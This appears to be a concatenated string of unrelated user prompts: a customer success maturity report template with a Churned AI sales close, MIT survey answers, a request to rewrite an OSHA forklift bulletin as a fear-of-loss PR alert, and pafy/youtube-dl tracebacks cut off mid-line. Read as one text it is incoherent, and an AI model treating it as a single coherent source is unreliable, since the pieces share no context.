company can identify more areas of improvement and optimize customer interactions even further.\nThreats: Without more advanced data analytics, AI or machine learning, the company may miss opportunities to gain deeper insights into customer behavior and improve customer success.\nAdvice:\nImplement more advanced data analytics tools to track customer success metrics in more detail\nImplement machine learning models to gain deeper insights into customer behavior\nSet up a process to analyze the data and identify areas of improvement on a more granular level\nPersonalize interactions based on customer segmentation and behavior patterns\n\nHigh maturity: The company uses advanced data analytics, AI, or machine learning to improve customer success, measures and tracks customer success metrics, and uses customer data to segment, target, and personalize customer interactions.\nOpportunities: The company can continue to gain valuable insights into customer behavior and improve customer success by using even more advanced data analytics, AI or machine learning techniques.\nThreats: The company will be able to identify only a limited number of new areas for improvement.\nAdvice:\nContinuously monitor and analyze customer data for new insights\nContinuously improve the machine learning models\nContinuously improve the customer segmentation and behavior patterns\nContinuously improve the personalization of interactions\nOperations and Automation:\nLow maturity: The company does not use customer success technology to automate and optimize customer interactions, does not measure or track customer success at a granular level, and does not determine actions for customer success managers to improve customer health.\nOpportunities: By automating and optimizing customer interactions, the company can improve efficiency and customer satisfaction. By measuring and tracking customer success at a granular level, the company can identify areas of improvement and optimize customer interactions.\nThreats: Without automation and optimization, the company may struggle to keep up with customer interactions, and may miss opportunities for improvement.\nAdvice: \nStart by identifying key metrics to track customer success\nImplement a CRM or other customer success technology to automate customer interactions\nSet up a process for regularly reviewing and analyzing customer success metrics.\n\nAverage maturity: The company uses basic customer success technology to automate and optimize customer interactions, measures and tracks customer success at a basic level, but does not determine actions for customer success managers to improve customer health.\nOpportunities: By implementing more advanced customer success technology, the company can improve efficiency and customer satisfaction even further. By measuring and tracking customer success at an even more granular level, the company can identify even more areas of improvement and optimize customer interactions even further.\nThreats: Without more advanced customer success technology, the company may miss opportunities to improve efficiency and customer satisfaction.\nAdvice:\nImplement more advanced customer success technology to automate customer interactions\nImplement more advanced analytics tools to track customer success metrics in more detail\nSet up a process for regularly reviewing and analyzing customer success metrics on a more granular level\nContinuously monitor customer health and take actions to improve it\n\nHigh maturity: The company uses advanced customer success technology to automate and optimize customer interactions, measures and tracks customer success at a granular level, and determines actions for customer success managers to improve customer health\nOpportunities: The company can continue to improve efficiency and customer satisfaction by using even more advanced customer success technology and analytics.\nThreats: The company will be able to identify only a limited number of new areas for improvement.\nAdvice:\nContinuously monitor and analyze customer interactions for new opportunities to automate and optimize\nContinuously improve the customer success technology used\nContinuously monitor customer health and take actions to improve it\nContinuously monitor the CSMs performance and provide feedback\n\nAccountability and Process:\nLow maturity: No one holds accountability for retention, there is no process for managing the renewal process, sharing customer information among different teams, determining the budget for customer success, or identifying potential upselling opportunities.\nOpportunities: By defining and implementing clear processes and accountability, the company can improve customer success and increase revenue.\nThreats: Without clear processes and accountability, the company may struggle to manage customer interactions effectively, and may miss opportunities for improvement and upselling.\nAdvice: \nStart by defining clear processes for managing renewals\nSharing customer information\nDetermining the budget for customer success\nIdentify key stakeholders and assign accountability for customer success\nSet up a process for regularly reviewing and analyzing customer success metrics.\nAverage maturity: Basic processes are in place, but they are not clearly defined or followed consistently. There is no formal process for customer feedback usage, determining actions for customer success manager to improve customer health, or identifying potential upselling opportunities.\nOpportunities: By defining and implementing more advanced processes and accountability, the company can improve customer success and increase revenue even further.\nThreats: Without more advanced processes and accountability, the company may miss opportunities to manage customer interactions effectively, and may miss opportunities for improvement and upselling.\nActionable Advice:\nDefine more advanced processes for managing renewals, sharing customer information, and determining the budget for customer success\nIdentify key stakeholders and assign accountability for customer success on a more granular level\nSet up a process for regularly reviewing and analyzing customer success metrics\nUse customer feedback to drive customer success\nDetermine actions for customer success managers to improve customer health\n\nHigh maturity: Clear accountability and processes are in place, including a defined process for managing the renewal process, sharing customer information among different teams, determining the budget for customer success, identifying potential upselling opportunities, using customer feedback to drive customer success, and determining actions for customer success managers to improve customer health.\nOpportunities: The company can continue to improve customer success and increase revenue by refining and optimizing existing processes and accountability.\nThreats: The company will be able to identify only a limited number of new areas for improvement.\nAdvice:\nContinuously monitor and analyze customer interactions for new opportunities to optimize processes and accountability\nContinuously monitor customer health and take actions to improve it\nContinuously monitor the CSMs performance and provide feedback\nContinuously refine and optimize processes and accountability\n\nPlease note that these are just examples of the opportunities, threats, and actionable advice that can be provided depending on the scores and that the actual advice that is given will depend on the specific circumstances of the company.\n\nEND WORD\n\nThank you for taking the time to complete the survey and for sharing valuable insights into your company's customer success operations. We hope that the report has been informative and has helped you understand the maturity of your customer success department.\nBut let's not stop there! Improving customer success is an ongoing journey, and we're here to help you take the next step. If you're ready to level up your customer success strategy, then Churned AI's Customer Success Management platform is the perfect solution for you. With our cutting-edge technology and expert guidance, you can take your customer success to new heights.\nWant to see it in action? Book a demo on our website and experience the power of Churned AI for yourself. Trust us, you won't be disappointed.\nOnce again, thank you for your time, and we look forward to hearing from you soon\n\nBest regards,\nChurned" +'very good\nAwesome minds and high standards\nScience and tech industry\nVery strong university in science, engineering and math\nTechnological advances, mathematics, intelligence\nTechnology and science\nMath, intellect, creativity, research, breakthrough, best minds\nIntelligent computer science\nTechnology\nTechnology\nONE OF THE BEST IN THE WORLD.\nSmart students.\nEngineering and technological excellence that surpasses any other university.\nTechnology oriented in a liberal institution\nTechnological advances\nGreat education\nResearch\nMathematicians and geniuses as well as a well-known academic press.\nGreat school that produces great minds that help innovate all aspects of technology - robotics, etc.\nvery good\nWhat comes to mind when you think about MIT?\nnobel prizes\nInvention\nGreat minds working together\nMathematics and science\nMath, technology\nTechnology\nbrilliant minds\nscience\nexcellence in technology innovation\nScience and Technology\nVery smart people who are at the front of technology and development.\nit\'s innovative\nEngineering excellence\nTechnology\nvery intelligent people, technology, biotech\nTop tier technologies school.\nGreat scientific programs\nScience\nScience\nMassachusetts Institute of Technology\nPrestigious\nJimmy devlin\nEngineering\ncreative and steady\nWhat comes to mind when you think about MIT?\nTony Stark\nHIGHLY INTELLIGENT PEOPLE GO TO THIS UNIVERSITY\nMIT have a good reputation for developing modern technology and science\nTechnological subjects like computers and engineering.\nScience\nworld class academic institution\nSmart\nTechnology\nAdvanced quality higher education. Genius minds.\nScience technology\nTechnology\nTechnology.\nExcellence. Only the smartest of young people accepted. Theier graduates contribute greatly to mankind.\nGround breaking.\nEngineering\nInformation Tech.\nInformation tech\nThat is where howard went on the big bang\ntechnology\nCompetitive\ntechnology science\nengineering\npeople\nReminds me of the GNU Project set up by Richard Stallman in the 1980s.\nI think of the Harvard Bridge next to the campus\nI think of Building 10 at MIT as the iconic building of the university, the Great Dome.\nThe location of the department is on the Charles River in Cambridge, Massachusetts\nIt was the first architecture department in the history of the United States\nquality mathematics education\nWhat comes to mind when you think about MIT?\nIt is a first-class national university in the United States and the world\'s top research private university\nMassachusetts Institute of Technology MIT is the "world\'s most advanced technological university" and a first-class national university in the United\nStates.\nsmart people\nTechnology\nTechnology\nUsually think of how its profound especially for those who want to get into anything related to science or technology. They are one of the benchmark\nschools in that capacity\nInnovative and forward thinking university\nTechnology\nMIT is very good quality university\nOne of the best universities in science and engineering\nIt\'s a fun place to welcome talented people wherever they come from, okay\nThis is the type of installation that makes it possible for destructive technologies to be developed.\nThe college is home to a group of students and teachers who share the ideals of creating a better world\nAn inclusive university And very famous\nUnique management style and students rate them highly\nBest university for technology\nStudents have strong hands-on skills and good coordination\nUnique\nLawrence Summers, former U.S. Treasury Secretary; The 27th president of Harvard University; He received a doctorate in economics from Harvard\nUniversity in 1982\nThe college that every student yearns for\nIt is best university in technology industry\nINOVATION\nI think of innovation, responsibility, prestige and community-driven success.\nWhat comes to mind when you think about MIT?\nIt has best program in engneering and the physical sciences\nIt\'s a fancy university. The students are smart\nUniversity with wonderful students\nI think of Wolfgang Keitley, who won the 2001 Nobel Prize in Physics; He is currently a professor of physics at MIT\ngreat quality program\nStress\nWhere talent is welcome, no matter what country or race you are\nIt\'s a collection of talent from different parts of the world\nGreat school for technology\nTop of the line technological insitute that produces some of the best technicians in the world.\ntechnology\nEXCELLENT\ntechnology\nreally science oriented great university\nBetter\nHighly intelligent innovation\nBoston\nCreate technology projects for elementary aged students\nTop school in the northeast for technology\nExcellence\nMassachusetts Institute of Technology\nScience\nIntelligent people, forward thinking.\nTechnology and Science innovation\nWhat comes to mind when you think about MIT?\nAdvance engineering issues such as alternative energy\nSmart people science and tech\nExtremely intelligent students fought by PHD professors,\nPaving the way for innovations and advances in technology.\nengineering\nSmart people\nScience and technical based learning and discovery\nScience and technology\nBoston\nMath\nTechnology and science oriented\nSmart People\nTop innovative college, the car guys\nBrilliant minds\nIt\'s definitely the leading university as far as technology goes. I\'ve heard many good things about MIT and think it\'s a very prestigious school.\nBrilliant people\nSmart\nLeader in science and tech\ntechnology\nScience and Tech focused education\nScience\nLeader school that attracts talents and educates them in the best way possible.\nDiversity\nBoston, robots, high tech.\nWhat comes to mind when you think about MIT?\nTechnology innovation\nScience, engineering, math, intellectual\ncreative genius\'s who have changed the world\nInnovative\nVery smart computer nerds\nLeading university for developing new technology\nintelligence\nGood Will Hunting\nTop notch university that educates people to be able to take on and improve technology\nExcellence\nElite engineering school\nCreativity\nEngineering excellence\nSmart people\nscience\nScientific\nTechnology, smart and driven people, innovation.\nComputers\nExcellence in the education of engineering.\nTechnological advances\nscientific genius\ntechnology\nHigh Tech Electronics\nUnique\nWhat comes to mind when you think about MIT?\nVery smart people\nIt\'s in my mind cause Its STEM offerings, including top-tier science & mathemetics program\ntechnology\nSmArt\nGreat and perfect\nIt is very good and has great collages\nHighly intelligent students and staff\nInnovative\nHigh IQ, outside the box technology innovation ideas that also are available to the gen pop to help improve everyday lives as well as outer space\nand beyond\nEngineering students, mostly male\nthe best in tech\nTechnology and high potential income from graduates.\nInformation and Technology\nEngineering\nScience\nVery reputable university that offers the highest levels of learning and research in technical fields\nSmart technological minds\nPranks\ntechnology\nmy brother-in-law who graduated from there\nOnly the smartest go there\nCalifornia\nmath and science\nEngineering\nWhat comes to mind when you think about MIT?\nInnovation\nScientific innovation\nMechanical Engineers\nMIT is the best university in US.\nMath superiority\nTechnology and engineering\nBrilliant research; highly dedicated to math, science, and engineering topics.\nScience, technology, math and engineering\nadvancements in technology, addresses real world issues, attracts valuable personnel\nScience and math\nbrainy science, engineering, innovative\ntechnical geniuses\nknown for its advances in science medical discoveries in cancer. Computer sciences digital circuits developments\nComputer\ntechnical research\nComputer and engineering experts.\nscience\nScience\nnothing\nOne of the best university in the world.\nScience, technology, gifted students\nnothing really\nSmart students\nthat it is one of the best colleges in the the country.\nWhat comes to mind when you think about MIT?\nmath and science geniuses\nTechnology and innovation\nUniversity that specializes in the tech industries.\nengineering\nTechnology school\nVery smart, intimidating, genius\ngreat technological school\nEngineering\nadvanced technology research\na leader in technological research\nAdvancement\nmath and physics research\nTechnology based institute\nWonderful! Best talented students in science and technology. Top university in the world with top notch professors.\na supreme and superior engineering school. one of the very best engineering schools in the world and is a very highly selective school to get into.\nMIT is on the forefront of engineering discoveries and has fostered many companies.\nExcellence in science\nMath and science\nEngineering Excellence\nThe top minds in science and technology attend this school.\nintelligent young people, robotics\nIts good the MIT\nUniversities are generally equipped with better information resources and big libraries then other institutes\nI regret to inform you that all I know is that MIT is a Technology Institute on the East Coast. Pardon my ignorance.\nTechnology\nWhat comes to mind when you think about MIT?\nBright minds solving real-world problems.\nEngineers in all careers\nScience education.\ntechnology\nIntelligence\nTechnology\nbest technology institution\nProgressive and advanced\nFair minded Hard to access for admission Proven scholarship Youngsters in admissions\nSmart people\nEngineering\nScience-Boston\nBEST UNIVERSITY.THERE ARE MANY OPPORTUNITIES FOR BOTH UNDERGRADUATE AND GRADUATE STUDENT\nComputers\nLeading STEM university\nWhen I think of MIT I think of a cultured university. One with high standards and well rounded. I also think about the band. One band one sound.\nBrilliant scientific minds\nINTELLIGENCE\nreputation\ninnovations in science and technology\ntechnology\nAdvanced Technology\nbusiness and finance\nPremier education\nWhat comes to mind when you think about MIT?\nScholars\nCollege\nScience\nIts best in the america.\nIntelligence\nengeering\nTechnology, intelligence\nIvy league school\nEngineering\nBrilliance\nComputers\nScience and technology\nTechnology innovation\nEngineering\nleader in education and advancing technology\nGeniuses\nGreat technology school\nSlack\nEngineering, highly competitive, expensive,\nMATH\nVery talented students\nI had a friend who got a scholarship to MIT for math.\nsuper intelligent\nPrestige\nWhat comes to mind when you think about MIT?\nGood reputation\nAdvancements in technology and robotics by one of the best technical schools in the world\nVery selective and smart\nTechnology\nEngineering, robotics, top rate education\nIt\'s filled with a lot of brilliant minds, with a specific emphasis on math and engineering.\nBusiness\nTechnology & Innovation\nTechnology\nEngineers. Pranks on Harvard\nThey are known for scientific innovation\ninnovation\nHighest technology institution\nInnovation, creativity, bold ideas\ntechnology\ntechnology\nVery Smart people who are innovative in many of the scientific needs of the planet today.\nHigh powered engineering\nExcellence\nTechnology\nSTEM\ntechnology and science\nSmart school, mathematics, tech\nit is the bets\nWhat comes to mind when you think about MIT?\nSmart, Driven people\nTechnology\nScience and technology based education\nEast coast elite\nEngineering\nScience and mathematics.\nVery fancy and super smart kids\nGreat school\nScience and Technology. Very selective requirements for students means some of the brightest in the country end up attending.\nTechnology innovator\ngreat\nIntelligent\ntechnology\nSheldon Cooper\nIT\nthe massachusetts institute of technology is a private land grant research university in cambridge,massachusetts.established in 1861,MIT has since\nplayed a key role in the development of modern technology and institutions in the world\nTechnology, creativity, a place for the best minds to develop new and innovative answers to the world\'s problems\nBest for math and rngineering\nTECHNOLOGY\nThe fist thing that comes to mind is a highly respected college that focuses on technology and science degrees.\nTechnological advances\nexcellent technology university\nGreat school.\nMassachusetts institute of Technology\nWhat comes to mind when you think about MIT?\nWhen I think about MIT, I think of what intelligent students are given the opportunity to attend.\nscientific excellence, cutting edge\nscience\nMy high school friend Alex who went to MIT\nInnovative Institution\nunique\nMIT is profoundly american\nexpensive\nScience\nscience advancement\nLeader\nScientific based innovative technology driven curriculum\nreally smart people are coming out of that school\nTechnology innovators\nScience the ability to give information clearly and commitment to study\nThings related to technology and the development of the world\nRobotics\nIntelligent\nThe best in the world\nOne of the best University for technology.\nSmaet\nInnovation\nBoston\nInnovation\nWhat comes to mind when you think about MIT?\nComputers\nTechnological think tank\nScience and technology\nTechnological advances\ntechnology\nGood and cool to learn\nSearches student and dr\nmilled in transit for it`s meaning I know\nimportant teach\nSome of the best minds in America\nAn innovative university\nInnovation, science, and technology.\nThe MIT community is driven by a shared purpose: to make a better world through education, research, and innovation\nExploring new ideas for common people to discover not just businesses and the government\nBoston located university with a reputation for scientific research.\nScience\nEngineering, science, STEM\nTrusted\nLeader in academics\nsmart people\nEngineering\nTechnology and machines\ncomputers\nIt\'s amazing school for brilliant minds\nWhat comes to mind when you think about MIT?\nIt is really innovative institution.\nThat MIT awarded me a "teacher of the year" award based on the number of my students admitted at MIT.\nSmart People, east coast mindset\nCreativity\nSomething good' +'act as a Public Relations executive re write this osha bulletin and make it an Alert! write approximately 1800 words include 4 key point bullet and 7 fear of loss bullets and U. S. Department of LaborOccupational Safety and Health Administration\nDirectorate of Technical Support and Emergency Management\nOffice of Science and Technology Assessment Standup Forklift Under-ride Hazards Safety and Health Information Preface\nForklift truck operators must look in the\ndirection of travel and keep the forklift under\ncontrol at all times. One of the potential\nhazards faced by standup forklift operators is\nthe crushing hazard that can arise when\ntraveling, with the forks trailing, in a\nwarehouse near a storage rack or similar\nobstruction. The risk is that a horizontal rack\nbeam (crossbar) or similar obstruction might\nenter the operator’s compartment in a situation\nreferred to as “under-ride.” This Safety and\nHealth Information Bulletin (SHIB) discusses\nways to reduce the crushing hazard to the\noperator associated with under-ride. Awareness\nof the precautions and safety measures\nhighlighted in this SHIB can help prevent\nserious injuries and fatalities related to\nwarehouse operations.Purpose\nThe purpose of this SHIB is to\nAlert standup forklift operators and\nemployers to the crushing hazard to the\noperator associated with under-ride;\nIdentify standup forklift features that\nare available on new equipment or that\ncan be installed on standup forklifts to\naddress the hazard (ANSI/ITSDF\nB56.1-2005, para. 4.5.3, 7.30, 7.36.)\nThis Safety and Health Information Bulletin\n(SHIB) is not a standard or a regulation, and it\ncreates no new legal obligations. It contains\nrecommendations as well as descriptions of\nmandatory safety and health standards. The\nrecommendations are advisory in nature,\ninformational in content, and are intended to\nassist employers in providing a safe and\nhealthful workplace. The Occupational Safety\nand Health Act requires employers to comply\nwith safety and health standards and regulations\npromulgated by OSHA or by a state with an\nOSHA-approved state Plan. In addition, the\nAct’s General Duty Clause, Section 5(a)(1),\nrequires employers to provide their employees\nwith a workplace free from recognized hazards\nlikely to cause death or serious physical harm.\nIdentify arrangements or modifications\nof storage racks that might reduce the\nrisk of under-ride;Recommend work practices that can be\nimplemented by the employer to\neliminate the under-ride hazard;\nStress the importance of training\n employees on the safe operation\n of standup forklifts; and\nEnsure that employees follow safe\noperating procedures.\nSHIB 07-27-20092 Background\nA forklift “under-ride” hazard arises when the\nforklift operator travels with the forks trailing\nand backs up toward the storage rack. If the\noperator drives the forklift too far, so that the\nforklift passes beneath the horizontal crossbar\n(i.e., the operator creates an “under-ride”), the\ncrossbar can enter the operator’s compartment\nand crush the operator inside the compartment.\nThe Occupational Safety and Health\nAdministration’s (OSHA) Integrated\nManagement Information System data for the\nperiod of 1993 through 2008 indicate that at\nleast nine employees have been killed and three\nemployees sustained severe crushing injuries\nwhen operating a standup forklift in reverse.\nThese forklifts did not have a protective rear\nguard or corner post to prevent under-ride from\noccurring.Accident Description\nThe OSHA Cleveland Area Office investigated\na fatality at a warehouse where a standup\nforklift operator was found pinned between the\nlower horizontal crossbar of a storage-rack\nshelving system and the interior of the\noperator’s compartment. The horizontal\ncrossbar of the shelving system was 55 inches\n(140 centimeters) above the floor, while the top\nsurface of the operator’s compartment was only\n49 inches (124 centimeters) above the floor.\nThis left a space of 6 inches (15 centimeters)\nbetween the crossbar and the top surface of the\noperator’s compartment. Although the forklift\nhad an overhead guard, the shelving rack was\nnot positioned at the same level as the guard to\nprevent the under-ride from occurring. When\nthe operator traveled with the forks trailing, the\nforklift passed under the crossbar, which struck\nthe operator above the waist and pinned his\ntorso against a part of the operator’s\ncompartment. The operator died of\nasphyxiation injuries.\nThis photograph depicts a forklift under a\nstorage rack after an under-ride accident.\nThe crossbar is protruding above the\noperator’s cab. Forklift manufacturers have\nvarious features available to assist in\npreventing such under-rides. \nOSHA’s Standard Requirements\nProper training is essential to the safe operation\nof powered industrial trucks. Paragraph (l) of\nOSHA’s Powered Industrial Trucks Standard,\n29 CFR 1910.178, contains training and\ncertification requirements for the use of\nforklifts that are specific to the workplace. The\nstandard requires employers to develop and\nimplement a training program for all operators\nbased on the general principles of safe truck\noperation; the types of vehicles being used in\nthe workplace, including the instructions,\nwarnings, and precautions found in the\noperator’s manual; the hazards of the\nworkplace created by the use of the vehicle;\nand the general safety requirements of the\nOSHA standard.\nAdditionally, 29 CFR 1910.178(n)(1) and\n(n)(6) require operators to keep the forklift\nunder control at all times and to look in the\ndirection of travel.\nRecommendations\nThe following recommendations will reduce\nthe risk of under-ride hazards associated with\noperating standup forklifts.\nEmployers should evaluate their worksite to\ndetermine if an under-ride hazard exists. If\nthere are rack crossbars or similar obstructions\nin the facility, the employer should take one or\nmore of the following actions:\nIf possible, make modifications to the\nshelving system.\nAdjust the shelf heights so that\nthe body of the forklift below\nthe operator’s compartment will\nstrike the rack in the event of\ncontact, preventing under-ride\nfrom occurring. Adjust the shelf heights so that\nthe forklift’s overhead guard\nwill strike the rack in the event\nof contact, preventing under-ride\nfrom occurring. Install a barrier, even with the outer\nedge of the storage rack (such as a curb\nor floor level shelf), so that the bottom\nof the forklift will strike the curb or\nshelf in the event of contact, preventing\nan under-ride from occurring.\n Purchase, where appropriate, standup\nforklifts that have corner posts,\nextended backrests, rear post guards, or\nother features to prevent an under-ride\nfrom occurring. (Specific guards or\nother means that enhance safe\noperations would be determined\nthrough cooperation between the user\nand manufacturer (see ANSI /ITSDF\nB56.1-2005, para.4.5.3, 7.30, and\n7.36).)\nContact the manufacturer to discuss\ninstalling rear post guards or other\nequivalent protections that address the\nunder-ride hazard on existing standup\nforklifts. These posts may be available\nfrom the forklift manufacturer. (Note\nthat modifications and additions which\naffect safe operation shall not be\nperformed by the customer or user\nwithout the manufacturer’s prior written\napproval. 29 CFR 1910.178 (a)(4).)\nEvaluate control methods to assure that\nguards do not limit visibility, present\npinch-point hazards, or add any\nadditional hazard to forklift operators or\nother employees on the site.\nTrain employees to operate forklifts\nsafely as required by paragraph (l) of 29\nCFR 1910.178, including recognizing\nthe hazards of the workplace created by\nthe use of the vehicles.\nRefer to the Powered Industrial\nTrucks (Forklift) eTool as a resource for\ninformation to keep employees who\noperate forklifts safe on the job. The\neTool provides a review of potential\nhazards and a summary of key OSHA \nUpper rack is positioned at the same level as the\noverhead guard, preventing the possibility of an\nunder-ride. The forklift shown in this photograph\nhas an overhead guard and an extended backrest.\nKits with additional posts are other safety features\nthat are available on many forklifts.\nConclusion\nMinimizing the potential for serious or fatal\ninjuries to standup forklift operators is the\nprimary concern of this SHIB. Following the\nsafe work practices recommended in this SHIB,\nand training employees as required in OSHA\nregulations, will help accomplish this goal.\nReferences\nOSHA Integrated Management\nInformation System (IMIS), 1993-\n2005.\nAmerican National Standard\nANSI/ITSDF B56.1-2005, Safety\nStandard for Low Lift and High Lift\nTrucks, Industrial Truck Standards\nDevelopment Foundation.' +'Exception in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 62, in \\_\\_init\\_\\_\n self.videoid = extract\\_video\\_id(video\\_url)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 51, in extract\\_video\\_id\n raise ValueError(err % url)\nValueError: Need 11 character video id or the URL of the video. Got //\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 53, in \\_fetch\\_basic\n self.\\_likes = self.\\_ydl\\_info[\'like\\_count\']\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: \'like\\_count\'\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 53, in \\_fetch\\_basic\n self.\\_likes = self.\\_ydl\\_info[\'like\\_count\']\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: \'like\\_count\'\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 53, in \\_fetch\\_basic\n self.\\_likes = self.\\_ydl\\_info[\'like\\_count\']\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: \'like\\_count\'\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 53, in \\_fetch\\_basic\n self.\\_likes = self.\\_ydl\\_info[\'like\\_count\']\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: \'like\\_count\'\nERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 815, in wrapper\n return func(self, \\*args, \\*\\*kwargs)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 836, in \\_\\_extract\\_info\n ie\\_result = ie.extract(url)\n ^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\common.py", line 534, in 